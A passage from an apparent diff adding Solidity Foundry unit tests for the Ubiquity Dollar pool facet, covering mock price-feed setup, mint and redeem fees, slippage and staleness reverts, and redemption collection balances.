answer, 2000_00000000 = $2000 (8 decimals) + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // set stable/USD price feed mock params + stableUsdPriceFeed.updateMockParams( + 1, // round id + 100_000_000, // answer, 100_000_000 = $1.00 (8 decimals) + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // set ETH/Governance price to 20k in Curve pool mock + curveGovernanceEthPool.updateMockParams(20_000e18); + + // set price feed for collateral token + ubiquityPoolFacet.setCollateralChainLinkPriceFeed( + address(collateralToken), // collateral token address + address(collateralTokenPriceFeed), // price feed address + 1 days // price feed staleness threshold in seconds + ); + + // set price feed for ETH/USD pair + ubiquityPoolFacet.setEthUsdChainLinkPriceFeed( + address(ethUsdPriceFeed), // price feed address + 1 days // price feed staleness threshold in seconds + ); + + // set price feed for stable/USD pair + ubiquityPoolFacet.setStableUsdChainLinkPriceFeed( + address(stableUsdPriceFeed), // price feed address + 1 days // price feed staleness threshold in seconds + ); + + // enable collateral at index 0 + ubiquityPoolFacet.toggleCollateral(0); + // set mint and redeem fees + ubiquityPoolFacet.setFees( + 0, // collateral index + 10000, // 1% mint fee + 20000 // 2% redeem fee + ); + // set redemption delay to 2 blocks + ubiquityPoolFacet.setRedemptionDelayBlocks(2); + // set mint price threshold to $1.01 and redeem price to $0.99 + ubiquityPoolFacet.setPriceThresholds(1010000, 990000); + // set collateral ratio to 100% + ubiquityPoolFacet.setCollateralRatio(1_000_000); + // set Governance-ETH pool + ubiquityPoolFacet.setGovernanceEthPoolAddress( + address(curveGovernanceEthPool) + ); + + // init AMO minter + dollarAmoMinter = new MockDollarAmoMinter(); + // add AMO minter + ubiquityPoolFacet.addAmoMinter(address(dollarAmoMinter)); + + // set Curve plain pool in manager facet + managerFacet.setStableSwapPlainPoolAddress( + address(curveDollarPlainPool) + ); + + // stop being admin + vm.stopPrank(); + + // mint 2000 Governance tokens to the user + deal(address(governanceToken), user, 2000e18); + // mint 100 collateral tokens to the user + collateralToken.mint(address(user), 100e18); + // user approves the pool to transfer collateral + vm.prank(user); + collateralToken.approve(address(ubiquityPoolFacet), 100e18); + } + + //===================== + // Modifiers + //===================== + + function testCollateralEnabled_ShouldRevert_IfCollateralIsDisabled() + public + { + // admin disables collateral + vm.prank(admin); + ubiquityPoolFacet.toggleCollateral(0); + + // user tries to mint Dollars + vm.prank(user); + vm.expectRevert("Collateral disabled"); + ubiquityPoolFacet.mintDollar(0, 1, 1, 1, 1, false); + } + + function testOnlyAmoMinter_ShouldRevert_IfCalledNoByAmoMinter() public { + vm.prank(user); + vm.expectRevert("Not an AMO Minter"); + ubiquityPoolFacet.amoMinterBorrow(1); + } + + //===================== + // Views + //===================== + + function testAllCollaterals_ShouldReturnAllCollateralTokenAddresses() + public + { + address[] memory collateralAddresses = ubiquityPoolFacet + .allCollaterals(); + assertEq(collateralAddresses.length, 1); + assertEq(collateralAddresses[0], address(collateralToken)); + } + + function testCollateralInformation_ShouldRevert_IfCollateralIsDisabled() + public + { + // admin disables collateral + vm.prank(admin); + ubiquityPoolFacet.toggleCollateral(0); + + vm.expectRevert("Invalid collateral"); + ubiquityPoolFacet.collateralInformation(address(collateralToken)); + } + + function testCollateralInformation_ShouldReturnCollateralInformation() + public + { + LibUbiquityPool.CollateralInformation memory info = ubiquityPoolFacet + .collateralInformation(address(collateralToken)); + assertEq(info.index, 0); + assertEq(info.symbol, "CLT"); + assertEq(info.collateralAddress, address(collateralToken)); + assertEq( + info.collateralPriceFeedAddress, + address(collateralTokenPriceFeed) + ); + assertEq(info.collateralPriceFeedStalenessThreshold, 1 days); + assertEq(info.isEnabled, true); + assertEq(info.missingDecimals, 0); + assertEq(info.price, 1_000_000); + assertEq(info.poolCeiling, 50_000e18); + assertEq(info.isMintPaused, false); + assertEq(info.isRedeemPaused, false); + assertEq(info.isBorrowPaused, false); + assertEq(info.mintingFee, 10000); + assertEq(info.redemptionFee, 20000); + } + + function testCollateralRatio_ShouldReturnCollateralRatio() public { + uint256 collateralRatio = ubiquityPoolFacet.collateralRatio(); + assertEq(collateralRatio, 1_000_000); + } + + function testCollateralUsdBalance_ShouldReturnTotalAmountOfCollateralInUsd() + public + { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 990000 // redeem threshold + ); + + // user sends 100 collateral tokens and gets 99 Dollars + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send, + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + uint256 balanceTally = ubiquityPoolFacet.collateralUsdBalance(); + assertEq(balanceTally, 100e18); + } + + function testEthUsdPriceFeedInformation_ShouldReturnEthUsdPriceFeedInformation() + public + { + (address priceFeed, uint256 stalenessThreshold) = ubiquityPoolFacet + .ethUsdPriceFeedInformation(); + assertEq(priceFeed, address(ethUsdPriceFeed)); + assertEq(stalenessThreshold, 1 days); + } + + function testFreeCollateralBalance_ShouldReturnCollateralAmountAvailableForBorrowingByAmoMinters() + public + { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + // user sends 100 collateral tokens and gets 99 Dollars (-1% mint fee) + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + // user redeems 99 Dollars for 97.02 (accounts for 2% redemption fee) collateral tokens + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 99e18, // Dollar amount + 0, // min Governance out + 90e18 // min collateral out + ); + + uint256 freeCollateralAmount = ubiquityPoolFacet.freeCollateralBalance( + 0 + ); + assertEq(freeCollateralAmount, 2.98e18); + } + + function testGetDollarInCollateral_ShouldReturnAmountOfDollarsWhichShouldBeMintedForInputCollateral() + public + { + uint256 amount = ubiquityPoolFacet.getDollarInCollateral(0, 100e18); + assertEq(amount, 100e18); + } + + function testGetDollarPriceUsd_ShouldRevertOnInvalidStableUsdChainlinkAnswer() + public + { + // set invalid answer from chainlink + stableUsdPriceFeed.updateMockParams( + 1, // round id + 0, // invalid answer + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + vm.expectRevert("Invalid Stable/USD price"); + ubiquityPoolFacet.getDollarPriceUsd(); + } + + function testGetDollarPriceUsd_ShouldRevertIfStableUsdChainlinkAnswerIsStale() + public + { + // set stale answer from chainlink + stableUsdPriceFeed.updateMockParams( + 1, // round id + 100_000_000, // answer, 100_000_000 = $1.00 + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // wait 1 day + vm.warp(block.timestamp + 1 days); + + vm.expectRevert("Stale Stable/USD data"); + ubiquityPoolFacet.getDollarPriceUsd(); + } + + function testGetDollarPriceUsd_ShouldReturnDollarPriceInUsd() public { + uint256 dollarPriceUsd = ubiquityPoolFacet.getDollarPriceUsd(); + assertEq(dollarPriceUsd, 1_000_000); + } + + function testGetGovernancePriceUsd_ShouldRevertOnInvalidChainlinkAnswer() + public + { + // set invalid answer from chainlink + ethUsdPriceFeed.updateMockParams( + 1, // round id + 0, // invalid answer + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + vm.expectRevert("Invalid price"); + ubiquityPoolFacet.getGovernancePriceUsd(); + } + + function testGetGovernancePriceUsd_ShouldRevertIfChainlinkAnswerIsStale() + public + { + // set stale answer from chainlink + collateralTokenPriceFeed.updateMockParams( + 1, // round id + 100_000_000, // answer, 100_000_000 = $1.00 + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // wait 1 day + vm.warp(block.timestamp + 1 days); + + vm.expectRevert("Stale data"); + ubiquityPoolFacet.getGovernancePriceUsd(); + } + + function testGetGovernancePriceUsd_ShouldReturnGovernanceTokenPriceInUsd() + public + { + uint256 governancePriceUsd = ubiquityPoolFacet.getGovernancePriceUsd(); + // 1 ETH = $2000, 1 ETH = 20_000 Governance tokens + // Governance token USD price = (1 / 20000) * 2000 = 0.1 + assertEq(governancePriceUsd, 100000); // $0.1 + } + + function testGetRedeemCollateralBalance_ShouldReturnRedeemCollateralBalance() + public + { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + // user sends 100 collateral tokens and gets 99 Dollars (-1% mint fee) + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + // user redeems 99 Dollars for 97.02 (accounts for 2% redemption fee) collateral tokens + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 99e18, // Dollar amount + 0, // min Governance out + 90e18 // min collateral out + ); + + uint256 redeemCollateralBalance = ubiquityPoolFacet + .getRedeemCollateralBalance(user, 0); + assertEq(redeemCollateralBalance, 97.02e18); + } + + function testGetRedeemGovernanceBalance_ShouldReturnRedeemGovernanceBalance() + public + { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + // admin sets collateral ratio to 0% + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(0); + + // user burns 1000 Governance tokens and gets 99 Dollars (-1% mint fee) + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 0, // max collateral to send + 1100e18, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + // user redeems 99 Dollars + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 99e18, // Dollar amount + 0, // min Governance out + 0 // min collateral out + ); + + assertEq( + ubiquityPoolFacet.getRedeemGovernanceBalance(user), + 970200000000000000000 + ); + } + + function testGovernanceEthPoolAddress_ShouldReturnGovernanceEthPoolAddress() + public + { + address governanceEthPoolAddress = ubiquityPoolFacet + .governanceEthPoolAddress(); + assertEq(governanceEthPoolAddress, address(curveGovernanceEthPool)); + } + + function testStableUsdPriceFeedInformation_ShouldReturnStableUsdPriceFeedInformation() + public + { + (address priceFeed, uint256 stalenessThreshold) = ubiquityPoolFacet + .stableUsdPriceFeedInformation(); + assertEq(priceFeed, address(stableUsdPriceFeed)); + assertEq(stalenessThreshold, 1 days); + } + + //==================== + // Public functions + //==================== + + function testMintDollar_ShouldRevert_IfMintingIsPaused() public { + // admin pauses minting + vm.prank(admin); + ubiquityPoolFacet.toggleMintRedeemBorrow(0, 0); + + vm.prank(user); + vm.expectRevert("Minting is paused"); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 90e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + } + + function testMintDollar_ShouldRevert_IfDollarPriceUsdIsTooLow() public { + vm.prank(user); + vm.expectRevert("Dollar price too low"); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 90e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + } + + function testMintDollar_ShouldRevert_OnDollarAmountSlippage() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 990000 // redeem threshold + ); + + vm.prank(user); + vm.expectRevert("Dollar slippage"); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 100e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + } + + function testMintDollar_ShouldRevert_OnCollateralAmountSlippage() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 990000 // redeem threshold + ); + + vm.prank(user); + vm.expectRevert("Collateral slippage"); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 90e18, // min amount of Dollars to mint + 10e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + } + + function testMintDollar_ShouldRevert_OnGovernanceAmountSlippage() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 990000 // redeem threshold + ); + + // admin sets collateral ratio to 0% + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(0); + + vm.prank(user); + vm.expectRevert("Governance slippage"); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 90e18, // min amount of Dollars to mint + 10e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + } + + function testMintDollar_ShouldRevert_OnReachingPoolCeiling() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 990000 // redeem threshold + ); + + vm.prank(user); + vm.expectRevert("Pool ceiling"); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 60_000e18, // Dollar amount + 59_000e18, // min amount of Dollars to mint + 60_000e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + } + + function testMintDollar_ShouldMintDollars_IfUserForcesOneToOneOverride() + public + { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 990000 // redeem threshold + ); + + // admin sets collateral ratio to 0% + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(0); + + // balances before + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(dollarToken.balanceOf(user), 0); + assertEq(governanceToken.balanceOf(user), 2000e18); + + vm.prank(user); + ( + uint256 totalDollarMint, + uint256 collateralNeeded, + uint256 governanceNeeded + ) = ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 1100e18, // max Governance tokens to send + true // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + assertEq(totalDollarMint, 99e18); + assertEq(collateralNeeded, 100e18); + assertEq(governanceNeeded, 0); + + // balances after + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 100e18); + assertEq(dollarToken.balanceOf(user), 99e18); + assertEq(governanceToken.balanceOf(user), 2000e18); + } + + function testMintDollar_ShouldMintDollars_IfCollateralRatioIs100() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 990000 // redeem threshold + ); + + // balances before + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(dollarToken.balanceOf(user), 0); + assertEq(governanceToken.balanceOf(user), 2000e18); + + vm.prank(user); + ( + uint256 totalDollarMint, + uint256 collateralNeeded, + uint256 governanceNeeded + ) = ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + assertEq(totalDollarMint, 99e18); + assertEq(collateralNeeded, 100e18); + assertEq(governanceNeeded, 0); + + // balances after + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 100e18); + assertEq(dollarToken.balanceOf(user), 99e18); + assertEq(governanceToken.balanceOf(user), 2000e18); + } + + function testMintDollar_ShouldMintDollars_IfCollateralRatioIs0() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 990000 // redeem threshold + ); + + // admin sets collateral ratio to 0% + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(0); + + // balances before + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(dollarToken.balanceOf(user), 0); + assertEq(governanceToken.balanceOf(user), 2000e18); + + vm.prank(user); + ( + uint256 totalDollarMint, + uint256 collateralNeeded, + uint256 governanceNeeded + ) = ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 1100e18, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + assertEq(totalDollarMint, 99e18); + assertEq(collateralNeeded, 0); + assertEq(governanceNeeded, 1000000000000000000000); // 1000 = 100 Dollar * $0.1 Governance from oracle + + // balances after + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(dollarToken.balanceOf(user), 99e18); + assertEq(governanceToken.balanceOf(user), 2000e18 - governanceNeeded); + } + + function testMintDollar_ShouldMintDollars_IfCollateralRatioIs95() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 990000 // redeem threshold + ); + + // admin sets collateral ratio to 95% + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(950_000); + + // balances before + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(dollarToken.balanceOf(user), 0); + assertEq(governanceToken.balanceOf(user), 2000e18); + + vm.prank(user); + ( + uint256 totalDollarMint, + uint256 collateralNeeded, + uint256 governanceNeeded + ) = ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 1100e18, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + assertEq(totalDollarMint, 99e18); + assertEq(collateralNeeded, 95e18); + assertEq(governanceNeeded, 50000000000000000000); // 50 Governance tokens = $5 USD / $0.1 Governance from oracle + + // balances after + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 95e18); + assertEq(dollarToken.balanceOf(user), 99e18); + assertEq(governanceToken.balanceOf(user), 2000e18 - governanceNeeded); + } + + function testRedeemDollar_ShouldRevert_IfRedeemingIsPaused() public { + // admin pauses redeeming + vm.prank(admin); + ubiquityPoolFacet.toggleMintRedeemBorrow(0, 1); + + vm.prank(user); + vm.expectRevert("Redeeming is paused"); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 100e18, // Dollar amount + 0, // min Governance out + 90e18 // min collateral out + ); + } + + function testRedeemDollar_ShouldRevert_IfDollarPriceUsdIsTooHigh() public { + vm.prank(user); + vm.expectRevert("Dollar price too high"); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 100e18, // Dollar amount + 0, // min Governance out + 90e18 // min collateral out + ); + } + + function testRedeemDollar_ShouldRevert_OnInsufficientPoolCollateral() + public + { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + vm.prank(user); + vm.expectRevert("Insufficient pool collateral"); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 100e18, // Dollar amount + 0, // min Governance out + 90e18 // min collateral out + ); + } + + function testRedeemDollar_ShouldRevert_OnCollateralSlippage() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + // user sends 100 collateral tokens and gets 99 Dollars (-1% mint fee) + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + vm.prank(user); + vm.expectRevert("Collateral slippage"); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 100e18, // Dollar amount + 0, // min Governance out + 100e18 // min collateral out + ); + } + + function testRedeemDollar_ShouldRevert_OnGovernanceSlippage() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + // admin sets collateral ratio to 0% + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(0); + + // user burns ~1000 Governance tokens and gets 99 Dollars (-1% mint fee) + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 0, // max collateral to send + 1100e18, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + vm.prank(user); + vm.expectRevert("Governance slippage"); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 99e18, // Dollar amount + 1100e18, // min Governance out + 0 // min collateral out + ); + } + + function testRedeemDollar_ShouldRedeemCollateral_IfCollateralRatioIs100() + public + { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + // user sends 100 collateral tokens and gets 99 Dollars (-1% mint fee) + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + // balances before + assertEq(dollarToken.balanceOf(user), 99e18); + assertEq(governanceToken.balanceOf(user), 2000e18); + assertEq(governanceToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(ubiquityPoolFacet.getRedeemCollateralBalance(user, 0), 0); + assertEq(ubiquityPoolFacet.getRedeemGovernanceBalance(user), 0); + + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 99e18, // Dollar amount + 0, // min Governance out + 90e18 // min collateral out + ); + + // balances after + assertEq(dollarToken.balanceOf(user), 0); + assertEq(governanceToken.balanceOf(user), 2000e18); + assertEq(governanceToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq( + ubiquityPoolFacet.getRedeemCollateralBalance(user, 0), + 97.02 ether + ); + assertEq(ubiquityPoolFacet.getRedeemGovernanceBalance(user), 0); + } + + function testRedeemDollar_ShouldRedeemCollateral_IfCollateralRatioIs0() + public + { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + // admin sets collateral ratio to 0% + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(0); + + // user burns 1000 Governance tokens and gets 99 Dollars (-1% mint fee) + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 0, // max collateral to send + 1100e18, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + // balances before + assertEq(dollarToken.balanceOf(user), 99e18); + assertEq(governanceToken.balanceOf(user), 1000000000000000000000); + assertEq(governanceToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(ubiquityPoolFacet.getRedeemCollateralBalance(user, 0), 0); + assertEq(ubiquityPoolFacet.getRedeemGovernanceBalance(user), 0); + + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 99e18, // Dollar amount + 0, // min Governance out + 0 // min collateral out + ); + + // balances after + assertEq(dollarToken.balanceOf(user), 0); + assertEq(governanceToken.balanceOf(user), 1000000000000000000000); + assertEq( + governanceToken.balanceOf(address(ubiquityPoolFacet)), + 970200000000000000000 + ); + assertEq(ubiquityPoolFacet.getRedeemCollateralBalance(user, 0), 0); + assertEq( + ubiquityPoolFacet.getRedeemGovernanceBalance(user), + 970200000000000000000 + ); + } + + function testRedeemDollar_ShouldRedeemCollateral_IfCollateralRatioIs95() + public + { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + // admin sets collateral ratio to 95% + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(950_000); + + // user burns 50 Governance tokens (worth $0.1) + 95 collateral tokens and gets 99 Dollars (-1% mint fee) + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 1100e18, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + // balances before + assertEq(dollarToken.balanceOf(user), 99e18); + assertEq(governanceToken.balanceOf(user), 1950000000000000000000); // 1950 + assertEq(governanceToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(ubiquityPoolFacet.getRedeemCollateralBalance(user, 0), 0); + assertEq(ubiquityPoolFacet.getRedeemGovernanceBalance(user), 0); + + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 99e18, // Dollar amount + 0, // min Governance out + 0 // min collateral out + ); + + // balances after + assertEq(dollarToken.balanceOf(user), 0); + assertEq(governanceToken.balanceOf(user), 1950000000000000000000); // 1950 + assertEq( + governanceToken.balanceOf(address(ubiquityPoolFacet)), + 48510000000000000000 + ); // ~48.5 + assertEq( + ubiquityPoolFacet.getRedeemCollateralBalance(user, 0), + 92169000000000000000 + ); // ~92 + assertEq( + ubiquityPoolFacet.getRedeemGovernanceBalance(user), + 48510000000000000000 + ); // ~48.5 + } + + function testCollectRedemption_ShouldRevert_IfRedeemingIsPaused() public { + // admin pauses redeeming + vm.prank(admin); + ubiquityPoolFacet.toggleMintRedeemBorrow(0, 1); + + vm.prank(user); + vm.expectRevert("Redeeming is paused"); + ubiquityPoolFacet.collectRedemption(0); + } + + function testCollectRedemption_ShouldRevert_IfNotEnoughBlocksHaveBeenMined() + public + { + vm.prank(user); + vm.expectRevert("Too soon to collect redemption"); + ubiquityPoolFacet.collectRedemption(0); + } + + function testCollectRedemption_ShouldCollectRedemption() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + // admin sets collateral ratio to 95% + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(950_000); + + // user burns 50 Governance tokens (worth $0.1) + 95 collateral tokens and gets 99 Dollars (-1% mint fee) + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 1100e18, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + // user redeems 99 Dollars for collateral and Governance tokens + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 99e18, // Dollar amount + 0, // min Governance out + 90e18 // min collateral out + ); + + // wait 3 blocks for collecting redemption to become active + vm.roll(block.number + 3); + + // balances before + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 95e18); + assertEq(collateralToken.balanceOf(user), 5e18); + assertEq( + governanceToken.balanceOf(address(ubiquityPoolFacet)), + 48510000000000000000 + ); // ~48 + assertEq(governanceToken.balanceOf(user), 1950000000000000000000); // ~1950 + + vm.prank(user); + (uint256 governanceAmount, uint256 collateralAmount) = ubiquityPoolFacet + .collectRedemption(0); + assertEq(governanceAmount, 48510000000000000000); // ~48 + assertEq(collateralAmount, 92169000000000000000); // ~92 = $95 - 2% redemption fee + + // balances after + assertEq( + collateralToken.balanceOf(address(ubiquityPoolFacet)), + 2.831 ether + ); // redemption fee left in the pool + assertEq(collateralToken.balanceOf(user), 97.169 ether); + assertEq(governanceToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(governanceToken.balanceOf(user), 1998510000000000000000); // ~1998 + } + + function testCollectRedemption_ShouldRevert_IfCollateralDisabled() public { + vm.prank(admin); + ubiquityPoolFacet.setPriceThresholds( + 1000000, // mint threshold + 1000000 // redeem threshold + ); + + vm.prank(user); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 99e18, // Dollar amount + 0, // min Governance out + 90e18 // min collateral out + ); + + // wait 3 blocks for collecting redemption to become active + vm.roll(3); + + vm.prank(admin); + ubiquityPoolFacet.toggleCollateral(0); + + vm.prank(user); + vm.expectRevert("Collateral disabled"); + ubiquityPoolFacet.collectRedemption(0); + } + + function testUpdateChainLinkCollateralPrice_ShouldRevert_IfChainlinkAnswerIsInvalid() + public + { + // set invalid answer from chainlink + collateralTokenPriceFeed.updateMockParams( + 1, // round id + 0, // invalid answer + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + vm.expectRevert("Invalid price"); + ubiquityPoolFacet.updateChainLinkCollateralPrice(0); + } + + function testUpdateChainLinkCollateralPrice_ShouldRevert_IfChainlinkAnswerIsStale() + public + { + // set stale answer from chainlink + collateralTokenPriceFeed.updateMockParams( + 1, // round id + 100_000_000, // answer, 100_000_000 = $1.00 + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // wait 1 day + vm.warp(block.timestamp + 1 days); + + vm.expectRevert("Stale data"); + ubiquityPoolFacet.updateChainLinkCollateralPrice(0); + } + + function testUpdateChainLinkCollateralPrice_ShouldUpdateCollateralPrice() + public + { + // before + LibUbiquityPool.CollateralInformation memory info = ubiquityPoolFacet + .collateralInformation(address(collateralToken)); + assertEq(info.price, 1_000_000); + + // set answer from chainlink + collateralTokenPriceFeed.updateMockParams( + 1, // round id + 99_000_000, // answer, 99_000_000 = $0.99 + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // update collateral price + ubiquityPoolFacet.updateChainLinkCollateralPrice(0); + + // after + info = ubiquityPoolFacet.collateralInformation( + address(collateralToken) + ); + assertEq(info.price, 990_000); + } + + //========================= + // AMO minters functions + //========================= + + function 